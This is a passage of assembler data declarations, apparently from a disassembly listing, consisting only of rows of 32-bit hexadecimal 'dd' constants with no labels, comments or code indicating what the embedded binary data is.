		dd 5A7C95DAh, 0D08B5C60h, 56719C80h, 831348B9h,	0F0012ACBh
		dd 309945F1h, 30482072h, 800C5407h, 5115B3D6h, 1D77DC0h
		dd 44612504h, 0B8F26C88h, 0B019B24h, 5C877857h,	0A47CD546h
		dd 451213ECh, 420030BCh, 0CCECAF4Eh, 0CA18078Fh, 4007A81Dh
		dd 0D846DD9Eh, 1303540Bh, 0B69C0012h, 0B9F75737h, 1F481FC0h
		dd 0D7BE008Ah, 0FC7152Bh, 999C2200h, 98512F31h,	148A08Dh
		dd 0E8C60030h, 1DF0398Eh, 1094FECDh, 5FCB1980h,	10F0A40h
		dd 5641EFCCh, 3C392E2Fh, 0B4DE8354h, 0E3F99092h, 24FDE2F0h
		dd 1344E6E9h, 307CC206h, 3098ECDAh, 2D37523Ch, 9B048442h
		dd 2F6070C1h, 7D44D885h, 405CB445h, 0CF003EE0h,	0D37E315Ah
		dd 608E54A4h, 0E711798Bh, 0F800931Ah, 1B8FF517h, 0C0D6A2CBh
		dd 4E5B67BCh, 3890D1F0h, 87B71113h, 2538D215h, 240C4486h
		dd 5F8A05h, 0F055991Ch,	8009CFE2h, 44BA03C1h, 0EF21004Ch
		dd 0FCB443A3h, 0A7012B13h, 74E45825h, 48301E4Dh, 0C0360CC5h
		dd 9659159Ah, 9C01D0D2h, 0A318EC6Eh, 27EEB220h,	0A8A03FB5h
		dd 0E7C854CCh, 0D7404D00h, 13228BA7h, 0F645E647h, 77A313C5h
		dd 0F0E0035h, 2BDE3DEFh, 0CED5930Bh, 0A0E080DFh, 2448D18h
		dd 75269E74h, 0E4C0562Ah, 20A0D01h, 0C4F24731h,	8076FC00h
		dd 1CCEE85Dh, 0C7DD99B5h, 67A1BBCh, 4E02104Fh, 686F31CFh
		dd 30B0F9B0h, 7C2A291Ah, 2838210Eh, 5E0442D1h, 0C46860A6h
		dd 640095AAh, 9E8A6BF4h, 0A0392F6Ch, 8734B1B2h,	604FD03Bh
		dd 230A92F4h, 0AC21B000h, 32506A8Fh, 0DFE70936h, 68C84495h
		dd 0C2E44291h, 4F553A00h, 64A20DCDh, 77760203h,	0AE134AA6h
		dd 0B4C18CC2h, 4F8030C2h, 0D4A5D92Ch, 0E53D8B02h, 0A03CC467h
		dd 3F1E395h, 2B4FA898h,	28004904h, 26FCB31Ch, 90A95D01h
		dd 0F13F124Ch, 518C3365h, 6DD34A8h, 9CC19E00h, 0A31198C7h
		dd 209A48D4h, 0CF25DAC0h, 0C307510Eh, 4B242BF5h, 17102CE0h
		dd 952FF8F0h, 374CEC18h, 4D383112h, 0A6A96C00h,	4C172032h
		dd 0B0001C69h, 3CEB140h, 4903DAEFh, 0F48D7FE2h,	0A086E011h
		dd 4980F9F6h, 58FA6479h, 67168CABh, 0F0084A8h, 113623C2h
		dd 0DA19022Bh, 1DD6CB2Ah, 0EE034079h, 0B4B27Eh,	0A9626EC4h
		dd 0E77ACF90h, 5D077803h, 7835F69h, 30B45AD9h, 12002BB2h
		dd 0BC88A4ABh, 3FFF0301h, 8B840C9Dh, 9780AC28h,	0B3D283B8h
		dd 0E91CA902h, 5444D62Ah, 0B7084E4h, 91C98169h,	1FFAD34Dh
		dd 89940C0h, 0B9817C99h, 0CBFE3721h, 0B654D8h, 2C7DA5C1h
		dd 1DD7A7BFh, 5601170Eh, 5F47A468h, 58194F4h, 0AE5E79FDh
		dd 1AE016Ch, 325FA557h,	70007DE4h, 449EEC34h, 99B967Eh
		dd 8C923373h, 10876440h, 8651449Ch, 5AC5D8h, 64EEFD9Ah
		dd 99572C3h, 0CC6927h, 172FC478h, 0EAF03B0h, 0ABB8B149h
		dd 23C81809h, 7C599Ch, 0A5FA3F53h, 0F41DF082h, 0A2C03DFCh
		dd 7BD73480h, 0B1300177h, 0DA4FC31Fh, 0FA829F3h, 54F61Bh
		dd 0ABD727F4h, 0FA5C3A5Fh, 529EC49Ch, 7D10902Bh, 34E41CD6h
		dd 7316BD02h, 27827089h, 8044FABFh, 4E4063C4h, 0CDB8F0BDh
		dd 0EBD05B00h, 88A612D1h, 67B51744h, 74200207h,	0A8E00E6Fh
		dd 0B216D6D8h, 74601499h, 7EBF8Bh, 54D41C1Dh, 5E136FDEh
		dd 80B99C96h, 30EEE11Eh, 2088802Ch, 0C60E143Fh,	897CDDE6h
		dd 0D3944845h, 5ADF007Bh, 15BF2732h, 8D25FE97h,	1A4E4F6h
		dd 0F4FC216Bh, 60040157h, 0BCB98B3Eh, 265BA600h, 0AE2BA4h
		dd 10CCD03Fh, 18DDC8B6h, 4B466501h, 0A6B1B553h,	0F7030h
		dd 206EEAABh, 1F88D51Eh, 6F1B0EE8h, 0E0081A15h,	7031C42h
		dd 0A396FF08h, 3C802FBBh, 0EBCFBD5Ch, 6F1F490Dh, 0D6F04009h
		dd 57E8877h, 0BBD8BA02h, 88EAF5A7h, 6B0E34A8h, 0FF18AF38h
		dd 1FA279h, 75D1ADA5h, 69FCEBDh, 3A4E9C00h, 16811CBBh
		dd 0C02C0627h, 0E4085F40h, 0EAC79D00h, 484FAF76h, 0D8360AB1h
		dd 39F40D4h, 0C154292h,	719B5900h, 0F6FB2958h, 0CA0D3914h
		dd 64ABDE80h, 0A96B0332h, 3FBA2406h, 0A1D1C0h, 0A3E7FD07h
		dd 3C7234Eh, 0A33B43Eh,	74F7701Fh, 0A007511h, 36DAE280h
		dd 303A3E1h, 0CDE5924Dh, 41210011h, 0A1EC711Bh,	4E00E89Ah
		dd 0F3A9D09Dh, 6B6B88Fh, 541A40C6h, 0D7755978h,	2BF888h
		dd 38F0BB50h, 0C09E85BFh, 0E3A1D460h, 0F89D12Fh, 1509D7Ch
		dd 0AB42C580h, 9A014E3Bh, 46E166EAh, 8843CB24h,	12CD88D2h
		dd 902D03E7h, 646D1A3Fh, 0A5EC7100h, 18B6451Fh,	5098A817h
		dd 8BEE1EEBh, 26BB4ACDh, 0CCF8803Ch, 214DF6BAh,	9100D0E2h
		dd 56B742FFh, 7E0BFCEh,	710C7BCFh, 0C2A1806Bh, 0F290835h
		dd 1DB9FCA5h, 0F540A887h, 4E7737A0h, 0FFFD0562h, 0C0B14Fh
		dd 463E0514h, 0C900B512h, 0F0B36941h, 6EEEE374h, 4C31C19Fh
		dd 7AF85A83h, 0EF044E00h, 5839A045h, 0E015943Fh, 0BB191AD1h
		dd 35B74CBh, 10BCECCDh,	0DDB0F2E0h, 541872B9h, 17510833h
		dd 0F8C11F6Dh, 3871408Ch, 4DDBCD25h, 7E541F48h,	0D6296C62h
		dd 0CD4A074h, 183615E0h, 0C1D8C5F2h, 6A008289h,	5B4EBC27h
		dd 0A1C14Ch, 243ED980h,	4077DC9Fh, 174848F8h, 45E70EC0h
		dd 13A5C0E5h, 18B83A1Ch, 611DEBD8h, 0D52850D0h,	47120877h
		dd 4422367Eh, 39F4E1BDh, 0F4286770h, 24F60083h,	2B311C26h
		dd 29C05A33h, 7C227DE6h, 1F72F0h, 80324EC8h, 4B4099AAh
		dd 64A99503h, 0C1A7B551h, 88483EBDh, 67CF2EB2h,	0A6A001Fh
		dd 0C3821362h, 1FBDEF1Ch, 2255489h, 25606960h, 17C9C14Fh
		dd 3793F0C2h, 9D0107E8h, 83CB453Dh, 4CF4EBABh, 5D7F16D8h
		dd 23E8015Bh, 300D1C0Eh, 73004548h, 0C856B082h,	16BFFF31h
		dd 3BD214Eh, 0E8EE442Dh, 0D822B893h, 647F3E6Ch,	0C1811180h
		dd 0DECDCE4Bh, 0F717A604h, 95258Eh, 8964DC08h, 58013D4Fh
		dd 4C364C2Bh, 0DE0041FCh, 1CB9CFE3h, 1E79F8Eh, 2A853643h
		dd 50F0C572h, 4985CECh,	53883B12h, 3EB83030h, 0BE2800D4h
		dd 0C068CB1Dh, 0B27BBB5Dh, 877F493Fh, 5B9DDA4Eh, 3CA174C0h
		dd 6158301Ah, 0DB658679h, 4338B24h, 7F130Bh, 25D25357h
		dd 74C60EEFh, 5370B9h, 9B436F7Ch, 860830Fh, 94BC1E78h
		dd 62A6039Ah, 0D6C03B9Ch, 1A9A900h, 0F81CDD6Dh,	53893A91h
		dd 5038B0D0h, 2BD09Fh, 0C6989A9Bh, 13AB7822h, 0D0031498h
		dd 9C0F3B32h, 0D54918EFh, 1C6FA9EAh, 134D9D01h,	0E5938DF7h
		dd 3E335D8h, 12ABE85Bh,	29007ACDh, 0DB3E8155h, 0F8B3F79Fh
		dd 6819C009h, 0E731EDB8h, 63605200h, 76DE0D38h,	0E0FE4811h
		dd 0CA27B7Bh, 0E99912C2h, 4001BB81h, 0F7E8368Bh, 50602F5Fh
		dd 98E88B0Ch, 8718944Dh, 27C0B8DDh, 0A8DC4AA4h,	0A0416F7Dh
		dd 4BE5DEF9h, 952E0FA3h, 0DF87171Fh, 76BFA04Ah,	961AB253h
		dd 8131571Ah, 0C6D78B04h, 0A225080h, 0D02C8E07h, 9829E502h
		dd 40ED74A7h, 2E661050h, 77888Ah, 0C00405F5h, 0A8C0DA77h
		dd 0BEEED2C8h, 62D87AF3h, 0D15B181h, 0BA8D1848h, 8416D61Ch
		dd 144301BDh, 56749983h, 4BD55CCh, 60EEDF5Eh, 992BC6CAh
		dd 0BC8C0400h, 54A6AB52h, 481C78C3h, 913F743Bh,	96D11C2h
		dd 3EC8D729h, 5DDF9200h, 0A71060F8h, 0C70010B0h, 4EDA9DF2h
		dd 30AD6B91h, 2A39544Dh, 150021D8h, 7F8A0AD5h, 1EE6CECAh
		dd 80A639FEh, 4F362030h, 31CE6F3Eh, 0E8831FD3h,	8D334554h
		dd 0C4E64000h, 3E304D1Ch
		dd 839E2D16h, 0A3A5DBBh, 0F8733Fh, 9B06FDB8h, 0F260C03Dh
		dd 18D89951h, 0F0A6015Ch, 19E27671h, 0C012C581h, 7901982Eh
		dd 0D543F2CDh, 0C443B787h, 3635D12Fh, 7600E422h, 9D130C49h
		dd 0E3001F23h, 8F2659EDh, 983B5Ch, 54910A67h, 335B9BE7h
		dd 0DF12BF00h, 0F3B656BDh, 5E491F11h, 9C2A18h, 29D45CA6h
		dd 0D103B821h, 2CA84400h, 0E143E958h, 257E12DAh, 0C8581471h
		dd 1045E887h, 2767B5EFh, 544DBD26h, 52816540h, 720800B9h
		dd 0EF745C29h, 5A1C679Dh, 0D7BC46Ch, 49E6A40Fh,	332FC0Ch
		dd 698EA6C9h, 0DB901A9Fh, 0E97AD974h, 0EE2C3D17h, 0E63FB830h
		dd 608201B2h, 27FD968Eh, 0A02D604Fh, 7CB52101h,	9DBE8514h
		dd 8600EC73h, 251D4596h, 84002402h, 0E029D74Dh,	9163621Ah
		dd 0EE2E8588h, 0AF7888CDh, 48E9DBFBh, 1F546073h, 5CB84288h
		dd 9E007C85h, 0D28B5063h, 2A00B348h, 8EC2D37Bh,	91CDC6DEh
		dd 731300E0h, 9323ED68h, 0D3F8B5h, 38D137ADh, 720451Ah
		dd 0B042EC3Dh, 1288310Dh, 9F8B3EB6h, 27DC0C80h,	0F1E636B0h
		dd 5B4A1A01h, 0E98E3BCCh, 1ECF5020h, 7B9DB6EBh,	0F1FB4300h
		dd 2B204841h, 284E4Ch, 11C21F6Bh, 33D479Fh, 919DDF5h, 0F9EE3379h
		dd 0C5867512h, 735C7FF0h, 5E70F61h, 0D3A198D0h,	633FB1DFh
		dd 2B6B000Ch, 796F56BAh, 0BD8E0E61h, 7651EBh, 54B0C274h
		dd 0EF0C12B5h, 0D110D626h, 0D8870048h, 8A6AF64Dh, 0F0F23B1h
		dd 407FF5C4h, 9DF899E7h, 3F683A13h, 182E260Eh, 800DC75h
		dd 5935806Eh, 9DEAF001h, 2764B03h, 0B84122A8h, 5CAFE4C6h
		dd 9C00059Ah, 27511C44h, 6B581A26h, 0B9EE80D4h,	0C7B2587h
		dd 0BE754866h, 28982BA0h, 74C61D44h, 95B980FCh,	5D166E03h
		dd 0E8E52DD9h, 2A541B5h, 0F8BC6024h, 2C606F2Ch,	250B7CE3h
		dd 0B354B7h, 957B0238h,	0CE38259Dh, 89F43010h, 4F237100h
		dd 0A85E077Ch, 0D02F34FBh, 9854C038h, 8400B515h, 297DDBA6h
		dd 30A1854Bh, 0EF412418h, 7701DE50h, 5D564727h,	0EC424A92h
		dd 2DFC80E5h, 28F7E4BDh, 44641693h, 0A4982BF9h,	801C3B7Ah
		dd 5E27872Fh, 4B5B0099h, 0FC3D2353h, 0E848C50Bh, 359401B8h
		dd 0E04305EBh, 3A9801D8h, 16AB4C7Ch, 0D429CDh, 60BE92DCh
		dd 2E157986h, 3A300168h, 0D7A4C980h, 8E355F7Fh,	0E823C100h
		dd 5B251147h, 242DF8D5h, 41386F1Fh, 801C9108h, 263AE8B1h
		dd 0EEE044Fh, 3E2B4840h, 76A56280h, 0EF039A45h,	900F65A7h
		dd 64D958FBh, 0C05E13CFh, 19B8C897h, 5CF8AEA0h,	81269300h
		dd 0BE133E9Dh, 0E5840095h, 314F7418h, 6714A6DDh, 80FC8FF7h
		dd 420989F5h, 0CB561E46h, 345DCBBAh, 7B2B3480h,	381C0C6Bh
		dd 8CEC8EA7h, 0F3E46002h, 1F9C66C3h, 0C04A7605h, 49BE6D13h
		dd 5300D1DBh, 0EE2B98C5h, 48F673D9h, 0B60918F7h, 0A0980FA1h
		dd 190587D0h, 185F1B70h, 7FFE0C8h, 8FD18DE2h, 791C108Bh
		dd 5D02EBD0h, 461A544Fh, 760CE118h, 0E5F2A816h,	0CA7866FAh
		dd 0C57F24h, 1C990240h,	0A7DB3CDCh, 0C09C4B1Dh,	0E4F76E32h
		dd 840515CAh, 0BD2A64BAh, 0B0F8BC02h, 0D328E19Ch, 72955510h
		dd 522F0800h, 0EA463EF0h, 85BD0128h, 451F132Ch,	0DA142015h
		dd 0BEBFBA0Ah, 3540F03Eh, 1381D2Ch, 7B34F741h, 801689F1h
		dd 0EBD05C8h, 7FA30D99h, 0B7400018h, 9D6FAD48h,	0B80E4A2Dh
		dd 0E1459231h, 8CDEE6DFh, 802D4DE5h, 2D714600h,	63D456F4h
		dd 0A0A30102h, 859C10C0h, 0A0C2E084h, 4E8C40CFh, 4E5F0ABh
		dd 0F89707C1h, 6108C234h, 0D1149820h, 5E9D00ABh, 0CB08BBB0h
		dd 589977E1h, 0DFA89B80h, 0D5352Ch, 9459AD6Eh, 0BA5DC706h
		dd 0C6E89012h, 49C3DC1Ch, 0B29CC52Ah, 0E0E0AE18h, 3E0992F1h
		dd 2CAE060h, 8C1A305h, 30A02331h, 54875E15h, 0C634AA00h
		dd 23526B02h, 0D18404C8h, 826FDD4Ah, 6E00BFC4h,	11BE7297h
		dd 1DEAD8h, 8441308Bh, 90EEB259h, 0B0F60094h, 8EB15F19h
		dd 0AB2EE949h, 1E033C15h, 0CEE0258h, 1917B650h,	7300CCA9h
		dd 80FDA551h, 4D2DF13h,	0EC3FB2A0h, 21308DD8h, 9AB8F80Ch
		dd 8A65980Bh, 6A9804CAh, 0F9E05F20h, 4EB67E0Eh,	634920E5h
		dd 91C4A6F3h, 8C1D8044h, 64682FC9h, 4F00D3E0h, 58A573AAh
		dd 341F9Ch, 55B0280Dh, 0ABCD9DCBh, 26483D4Dh, 0C30274DDh
		dd 44F8F7C0h, 0E5D3A0D8h, 0D2DA1CA7h, 329EC2AEh, 0C09017D6h
		dd 431CB40Ch, 63C0E6A2h, 769E9BB1h, 38FFECDFh, 0E8B24EEFh
		dd 642A1E50h, 4818C709h, 3D6D1558h, 0CA000485h,	6746D94Ch
		dd 0FFB80741h, 1FE0810Dh, 74E4D936h, 47492660h,	0A6C50563h
		dd 0C0C41E4Eh, 0EEDA8B5Fh, 5894F5F7h, 0B8D0C693h, 7AD2834h
		dd 4ECEBD91h, 0E75F722h, 0C003B6E9h, 0D5F244B7h, 801ED887h
		dd 728711E2h, 34236904h, 7CB49D0Fh, 17152C51h, 0C73B4034h
		dd 0BFF8AEF4h, 0E70F4A1Eh, 9012B46Eh, 7DB970D0h, 0CE92067Ah
		dd 60732535h, 56016098h, 0CFE1A62Eh, 7470DF7Bh,	800091EDh
		dd 0A09F3FE7h, 0A6780CCCh, 7020924Fh, 7BA7EB3h,	0CD8BF7CAh
		dd 0D35F40E5h, 2500B1B9h, 2D87D8B8h, 7947B0h, 9640988Eh
		dd 0F7B6309Bh, 8501EBF4h, 56B083CFh, 0A93176BFh, 0C000F42Dh
		dd 0E5274F54h, 7F09BB2Eh, 0DE4CEDh, 4D9392C7h, 9729C053h
		dd 8456E166h, 0E600A7E8h, 0D3EE89A2h, 7D0C6D87h, 48850C2Fh
		dd 5F31553Eh, 0B5EB2400h, 4662B35Dh, 931800C4h,	6178A0Fh
		dd 3901CD31h, 2AD74598h, 506802FCh, 55BAF180h, 120E99EFh
		dd 6003DBE8h, 3C8EB84Eh, 47240151h, 0EE53ACC1h,	279048C5h
		dd 0E7123D00h, 0E118EBD3h, 67651390h, 0F884583Ch, 3511D220h
		dd 1F7F6136h, 0AEC79A19h, 943B1C28h, 909A021h, 0B8E8C64Eh
		dd 0A70168CBh, 3FF9C8Fh, 0A730F3E5h, 0BB6D1EE6h, 4910E412h
		dd 2C3F0C00h, 490087D5h, 0F2C9854Eh, 7A4456h, 7DB446B5h
		dd 175EAFB9h, 0DF0288B8h, 0BE289D40h, 14FC82AAh, 0B852CDh
		dd 3AFB4A35h, 0CE01600Ah, 219F27h, 136AC81Ch, 0D8B917h
		dd 308083C2h, 0A24B304h, 0B702B0D6h, 0C4561A27h, 186DF710h
		dd 0FECE9616h, 85930200h, 9CC502C3h, 0C0AE9F68h, 2C41E6D4h
		dd 117F0537h, 0CB9C0C3Bh, 4B810420h, 39F6E09Fh,	54CC4937h
		dd 0BA943600h, 9D93A654h, 0B2E7E61Eh, 68E8740Ah, 0A2FB0581h
		dd 25D86E71h, 67D4A1F8h, 0BD32060h, 0A73D7BD0h,	1FBA2400h
		dd 0B9C37954h, 25028E08h, 1820C5E9h, 0A6DFC0F5h, 0FDAF700h
		dd 4F3AFE17h, 0D12F2C0Dh, 0A873BFC1h, 74518h, 7AA1B053h
		dd 261FF18Ch, 8FDA1C03h, 0E2A2C818h, 0C924605Fh, 4EBC9E6Ch
		dd 0E246F540h, 0EB004D80h, 23AF2D11h, 7C7579F3h, 17E4903Ah
		dd 3026A61Eh, 470D8B90h, 3B1F4A00h, 5EF39139h, 7DBD00DBh
		dd 2780FB88h, 487024E8h, 0FF450500h, 9EF55DECh,	0D6824FAh
		dd 0C608091Ch, 2EA92090h, 0F233E805h, 0A4400FD6h, 0C5F1E750h
		dd 0CDD903E2h, 5F99E1F0h, 341088C0h, 1A25BF09h,	0D6D81157h
		dd 0A512903Dh, 551007E9h, 803B17A9h, 70D608CFh,	0EDD54908h
		dd 8059720h, 9E80612Ch,	0CE1F3585h, 8C115418h, 94A405DAh
		dd 4ECB503Ch, 80FD43E0h, 5198FBAEh, 6B4F18F8h, 636D4820h
		dd 0CDDB1FA1h, 0C0EF5F70h, 5467F6FCh, 37162EEAh, 808036Fh
		dd 215F870Ch, 32C4F0AEh, 0A81D6190h, 4C00C90Ah,	0EAA5883Eh
		dd 45F49681h, 799900C8h, 36E4F8E1h, 0F32FA304h,	8480B9E7h
		dd 13DA024h, 0C99230Eh,	60178E44h, 4C0FE5FDh, 0D8ECD841h
		dd 0B49E0F49h
		dd 0E5D0810Ch, 2144C850h, 2E64D8B8h, 2B781098h,	8AC5B37h
		dd 901822C3h, 9C551ACFh, 15EF8068h, 66CDE283h, 0DE5788h
		dd 3A8BB2FAh, 0C2D6977Ch, 811F733Eh, 0EF9A1C47h, 0A4407752h
		dd 0C87CFE6h, 1354E4ACh, 84F93570h, 8FF7E9C4h, 6420E0A5h
		dd 8CA30B26h, 7092EDD7h, 0D5C2ECC8h, 0F3401C9Ch, 946DE66h
		dd 3540CD92h, 1601A0E4h, 9682B05Dh, 0E4D0A587h,	32809749h
		dd 3E45FBB1h, 0EE409094h, 0E2D705F3h, 77471699h, 41E81D65h
		dd 122351CCh, 1360299Ah, 0E490E4D5h, 350FC048h,	0A4EC830Dh
		dd 4914ED90h, 0A03EA4h,	8E7C8DCFh, 885A36DAh, 4B01C246h
		dd 13F88116h, 0D3D8A6E8h, 0C37500B8h, 338485E7h, 4E58D2E2h
		dd 27EA22B4h, 14A077D5h, 45802CA0h, 0E89C0F2Bh,	7000B916h
		dd 1D1F49ECh, 350400C8h, 5296DC43h, 6E757DABh, 27FB5300h
		dd 409EBB55h, 9DE300B8h, 643E125Fh, 0AD05E7F1h,	20EAB1C2h
		dd 0C0EB4B84h, 68F4623Ah, 810BD630h, 7A7FCCB3h,	0C8990008h
		dd 8BE20175h, 0B70027E5h, 98B12454h, 143129DFh,	98EFD8BEh
		dd 4FA40092h, 3EBD11E6h, 7E00D4A4h, 0EEE972A9h,	126B99h
		dd 6487E4A3h, 8E3FF597h, 0BEB91306h, 17902054h,	2018452Dh
		dd 0AAD4E0CCh, 0A0EC8500h, 5CF9498Ch, 0AC8D01C8h, 308B41FEh
		dd 839028A6h, 0E891D08Ah, 9BCC20h, 0C692BC8Fh, 0EBA2A925h
		dd 0B48DC72Ch, 0B69C360h, 954C0181h, 0A010E301h, 7FD8ECBAh
		dd 0E7485000h, 33D38EBDh, 391F8855h, 29023F03h,	0D94F8C93h
		dd 33DC3B96h, 136D178Bh, 203C8D37h, 4D01A584h, 0F2BAE5CFh
		dd 90619B30h, 12F5C2D0h, 161812DCh, 3B080378h, 9900DEC5h
		dd 0F5E40207h, 0F3ED78h, 0F738E243h, 4E35101h, 43D5Ch
		dd 7BCB5B49h, 4B64C89Ch, 75242166h, 60A02055h, 5E792D00h
		dd 63FA34B1h, 0D0A14883h, 2654DE0Fh, 103CF562h,	0B9751E00h
		dd 1D899C5h, 7D66507Eh,	0F7C6396h, 60A0C14Eh, 9A5348E3h
		dd 0EBAB140Fh, 6000746Eh, 0B2C556BEh, 1933055Ah, 0FFEBF83Dh
		dd 0D2CDEEB2h, 9BE850h,	220FA6E5h, 854D1633h, 26F938h
		dd 0B7AE3B82h, 86CB67h,	5AC6285Eh, 0C2DBA69Ah, 0BC482A1Dh
		dd 0D5564281h, 183377E3h, 12C5412h, 15454E1Ch, 26D71017h
		dd 7461E463h, 1A403D66h, 0C882B1E9h, 0B02011F7h, 5BB7D74Eh
		dd 0C2F020BDh, 4FFA2D92h, 100F707Eh, 60835915h,	0F957E433h
		dd 0D80E53DCh, 880F923Fh, 0BD472Bh, 5163E469h, 220377AFh
		dd 74E30A7Ah, 27A82CB3h, 0CA576010h, 7B00597Ch,	0BEC14A39h
		dd 3DE89709h, 739FAB8Bh, 0AD4E68Eh, 14DCE561h, 6C4CA8CEh
		dd 80DCDD26h, 983D9459h, 6E0BF448h, 0C8D695FFh,	308C7E68h
		dd 25120534h, 0C2B04708h, 4417C22Eh, 7E837040h,	4D0B0092h
		dd 951AA751h, 500F6D5Eh, 631C2FC0h, 0E4E5EF71h,	7B8B0CA8h
		dd 2F8EE880h, 97A0BD3Eh, 0D628F0B1h, 0BF80B080h, 0D018211Bh
		dd 0E5B0877Dh, 471107C2h, 0F5A42374h, 1DEC809Fh, 8C93F1Ch
		dd 0C7D0982Ch, 929F004Fh, 0B01CE6F5h, 0EE0EB647h, 0E08591BEh
		dd 0F03E4E7Dh, 4B2E049Dh, 80054F9Ah, 0E4DB93Ch,	0E41A758h
		dd 7826D450h, 0C352818h, 0AF18EEC6h, 6E482988h,	7F41AA3h
		dd 0E8CE471h, 0DBCB3142h, 802CBA07h, 5AA29233h,	44701705h
		dd 5CCCE152h, 19DB006Ah, 0A8C11634h, 0A401037Eh, 985F846Ch
		dd 0C06064FBh, 0A66F4008h, 0EB8B9417h, 0E65FF102h, 12CDA4Dh
		dd 0BBAE5CC8h, 209E1753h, 0EE2942A1h, 6380E0C7h, 0D0B7199Dh
		dd 7F7003BFh, 5E364AC6h, 82BE413Dh, 3E544313h, 45314030h
		dd 2D180458h, 80CE600Ch, 0CF0FDA10h, 93F03926h,	3656DE05h
		dd 50B4E4h, 0D17E738Ah,	80889B15h, 44954Ch, 5448B55Ch
		dd 0EED6210h, 0C09C4C64h, 8D0094B5h, 2266FFFAh,	0BE0F174Bh
		dd 0A32CF54Eh, 0E0EA7BEFh, 133DAFA1h, 30A9DC9Dh, 5AED8DE0h
		dd 0AD94BE03h, 0F0E7E16Eh, 26824736h, 4EDCCDDEh, 38DCE92Ah
		dd 0F7D09Ch, 2DC290D3h,	180404FCh, 53E78928h, 1F5648CCh
		dd 87B94471h, 493DAA6Eh, 0FAC150E8h, 75FE2500h,	6BE02D74h
		dd 56CC0B57h, 18EB5087h, 0FAC0FE84h, 1C7AD9Bh, 0E8B05465h
		dd 8112CD8Fh, 0F5FD7861h, 0BBF88C88h, 559D3CF2h, 5CD54701h
		dd 7C25B8E6h, 219FC000h, 90F41948h, 6EEC2000h, 1398D002h
		dd 0E4E0D507h, 80D491A4h, 0AAC9C00Ah, 750F9B22h, 0E067AF44h
		dd 8692B2C8h, 0BC891602h, 0F728C368h, 211C00BDh, 0C44795EEh
		dd 0AE75E804h, 74A54DB8h, 863DCh, 5F45073Eh, 4F13A48Ch
		dd 8986D000h, 0F487CA9Ch, 0EDD52510h, 18AB1811h, 0B9E8EE0Ah
		dd 423280FCh, 0B684D15Dh, 3B002D73h, 95601CE0h,	10D1245h
		dd 0EE63800Ch, 2D36DF28h, 460100D4h, 27C4AD33h,	0A9E60B47h
		dd 90986CB9h, 3000584h,	29083E0Fh, 3AD1F38Ah, 6F803D34h
		dd 0A7BE0CB4h, 0CD487E78h, 0E52180BCh, 2708E3h,	73C7A228h
		dd 6A0BB4D6h, 0A61F8A0Eh, 0EC40473Fh, 0E1C621A2h, 0C0403BECh
		dd 25169C4h, 0B8FF4513h, 9CE109D1h, 3C33BCh, 0C64E3967h
		dd 33034BAh, 0F7E89D52h, 210B0393h, 814E5AE0h, 3D45E5A4h
		dd 1FC453D0h, 981DB73Fh, 2DCF088Ch, 0E3D8BD0Ch,	9618B17Eh
		dd 0F60885C0h, 8D5BC0FEh, 0EE02A955h, 6C4B0D33h, 0B0D6E009h
		dd 0C22E0456h, 0B24EE327h, 0CA802DCh, 402B6BDAh, 1EDB7DC8h
		dd 41C311A5h, 0BD048B61h, 398823E5h, 0A27F82F8h, 0E26A316Eh
		dd 0C2E762C4h, 40785617h, 0A7911667h, 6FE95C00h, 67FD50Ch
		dd 0F091C6h, 789AA884h,	4B4C1851h, 7D4FC090h, 1E8F8DCBh
		dd 3B5574h, 12E8ECF3h, 870F5E10h, 69E956EBh, 48051A6h
		dd 8467C6C0h, 0ED20D8BDh, 0DC791B72h, 3E73FF13h, 81FBDCD4h
		dd 207FC0D1h, 0CD00E19Eh, 0AF95594h, 25E34F5Dh,	1C9BFAF7h
		dd 33745198h, 9F41F260h, 48FA040h, 7ADEDAC1h, 2580EBF8h
		dd 0C0B7A97Fh, 0EAA7D30h, 0A4605E41h, 9EDE9D08h, 0A6430062h
		dd 0F69A9B6Eh, 1200D097h, 0C37E40E7h, 0C65D541Fh, 0D983D661h
		dd 5E003DF2h, 68E7D104h, 1E7DAD74h, 0C0FA67BEh,	531B6678h
		dd 9A3CFC2Ch, 0A04880F5h, 91F7343Ah, 1FC1C420h,	0EB4B251h
		dd 24EE12B5h, 0D480292Ch, 0B0CB7EA3h, 2B8107FCh, 0C374B5E5h
		dd 0C80FDF16h, 1F308AC0h, 5A620606h, 35CE2E28h,	8ED20010h
		dd 0D6DF0F25h, 0C51C7916h, 0E901CD0h, 0B85D0294h, 581206EEh
		dd 0A4011B42h, 0BB27AFE8h, 8EF38478h, 90A2FF10h, 4E529D01h
		dd 213E7D16h, 8251C8F4h, 0E100A8D6h, 9A9C8E50h,	99980CEAh
		dd 17183163h, 40B04674h, 0B691D714h, 712D7AA8h,	0F464904Ch
		dd 7FF83B37h, 0ED559081h, 709ABBFAh, 2509B020h,	0E889D847h
		dd 0B1A60FF4h, 30E112A8h, 37C84678h, 0BFE88A00h, 0DE70C02Dh
		dd 7CF298D8h, 0F023ED9Eh, 0A15C3800h, 6531ACBAh, 0A8B13224h
		dd 0D0C28E01h, 0B03C51EBh, 7FC76E80h, 55009297h, 9F5A834Ah
		dd 475BB87h, 0D78A0F3Eh, 0EC98C2F6h, 25C57D10h,	4091BD52h
		dd 33BFCC23h, 389DA11Fh, 157830C0h, 0CDC9FEh, 0B04C1CC6h
		dd 4F04AD4Eh, 7544E090h, 0FFA10037h, 0B3664A9h,	2B0A6671h
		dd 0D40FCF8Eh, 0C1CAB701h, 0DC33EFD5h, 0B80E9D23h, 0F50804E4h
		dd 4C2E14FDh, 91AF6038h, 6124EBACh, 8F9FA8D2h, 9882021h
		dd 0D702279Fh, 0F7D500C8h, 0F4BDA200h, 4670EB31h, 187F1711h
		dd 3D08843h, 0D689E71Fh, 8D40AA5Fh, 0B68BC60Eh,	0B1EA0096h
		dd 7DFBB24Ah, 0A71FE355h, 39403F9Dh, 0D3415B22h, 0BB6525DCh
		dd 0E5001064h, 0EE7EE1C0h
		dd 5A521894h, 0E2E82089h, 5CEC1259h, 41FA0F05h,	0A8C072D5h
		dd 94189CBEh, 31DC8368h, 30E09D35h, 140391A6h, 8369E2EEh
		dd 0F3B0C772h, 0A032CA41h, 4F6CDA8h, 50EBE806h,	39DCC54Dh
		dd 0F6043038h, 48382645h, 9CBED80h, 23ED8A80h, 0D0230134h
		dd 2E1B3782h, 0C02FABCFh, 72766D87h, 9D30A0D5h,	0F0310B3Eh
		dd 78810347h, 62691FA6h, 0CF7C00E0h, 0F0AFFF9h,	0A8B09683h
		dd 0BE300354h, 0E8C17FD8h, 0AD84BB98h, 89B1B638h, 98F6398h
